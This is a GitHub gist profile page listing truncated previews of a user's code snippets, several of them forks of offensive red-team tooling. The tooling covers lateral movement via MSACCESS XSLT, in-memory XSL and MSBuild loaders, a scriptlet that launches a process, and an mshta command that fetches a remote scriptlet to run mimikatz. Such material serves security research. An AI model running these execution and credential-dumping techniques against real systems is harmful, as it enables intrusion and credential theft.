Skip to content

Instantly share code, notes, and snippets.

View manilz's full-sized avatar

manilz manilz

0 followers · 2 following
View GitHub Profile
@manilz
manilz / dllmain.go
Last active January 23, 2023 17:18 — forked from NaniteFactory/dllmain.go
An implementation example of DllMain() entrypoint with Golang. $ go build --buildmode=c-shared -o my.dll && rundll32.exe my.dll Test
package main
//#include "dllmain.h"
import "C"
@manilz
manilz / multipart_upload.go
Created January 25, 2023 00:35
Golang POST request with multipart
package main
import (
"bytes"
"fmt"
"io"
"mime/multipart"
"net/http"
"net/http/httptest"
"net/http/httputil"
@manilz
manilz / Invoke-AccessXSLT.ps1
Created February 15, 2023 04:53 — forked from TheWover/Invoke-AccessXSLT.ps1
<#
Lateral Movement Via MSACCESS TransformXML
Author: Philip Tsukerman (@PhilipTsukerman)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
#>
function Invoke-AccessXSLT {
<#
@manilz
manilz / LoadXSLFromMem.cs
Created February 15, 2023 04:53 — forked from TheWover/LoadXSLFromMem.cs
Loads XSL files from memory (or disk) using the Microsoft.XMLDOM COM object.
using System;
using System.Collections.Generic;
using System.Linq;
using System.Reflection;
using System.Text;
using System.Threading.Tasks;
namespace TryCOMXSLLoad
{
class Program
@manilz
manilz / gist:dd71adcdae2f7f379d625c1fe204e8e1
Created February 15, 2023 04:55 — forked from TheWover/gist:631ea8b25c6ae4090522eb4d17dc20fc
MSBuild Property Functions - Load RWX Memory Mapped File
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003" >
<Target Name="Hello" >
<!-- Call ANY .NET API -->
<!--
Author: Casey Smith, Twitter: @subTee
License: BSD 3-Clause
@manilz
manilz / test.js
Created February 19, 2023 02:37
1+1
@manilz
manilz / Lookup CLSID in PowerShell
Created February 24, 2023 01:59 — forked from brad-anton/Lookup CLSID in PowerShell
function Lookup-Clsid
{
Param([string]$clsid)
$CLSID_KEY = 'HKLM:\SOFTWARE\Classes\CLSID'
If ( Test-Path $CLSID_KEY\$clsid) {
$name = (Get-ItemProperty -Path $CLSID_KEY\$clsid).'(default)'
$dll = (Get-ItemProperty -Path $CLSID_KEY\$clsid\InProcServer32).'(default)'
}
$name, $dll
@manilz
manilz / hde64.h
Created March 1, 2023 01:52
Hacker Dissasembler Engine 64
/*
* Hacker Disassembler Engine 64
* Copyright (c) 2008-2009, Vyacheslav Patkov.
* All rights reserved.
*
* hde64.h: C/C++ header file
*
*/
#ifndef _HDE64_H_
@manilz
manilz / test.sct
Last active March 16, 2023 06:25
<?XML version="1.0"?>
<scriptlet>
<public>
</public>
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
@manilz
manilz / mimikatz.sct
Created March 16, 2023 06:24 — forked from vector-sec/mimikatz.sct
Mimikatz inside mshta.exe - "mshta.exe javascript:a=GetObject("script:http://127.0.0.1:8000/mshta.sct").Exec(); log coffee exit"
<?XML version="1.0"?>
<scriptlet>
<registration
description="Bandit"
progid="Bandit"
version="1.00"
classid="{AAAA1111-0000-0000-0000-0000FEEDACDC}"
>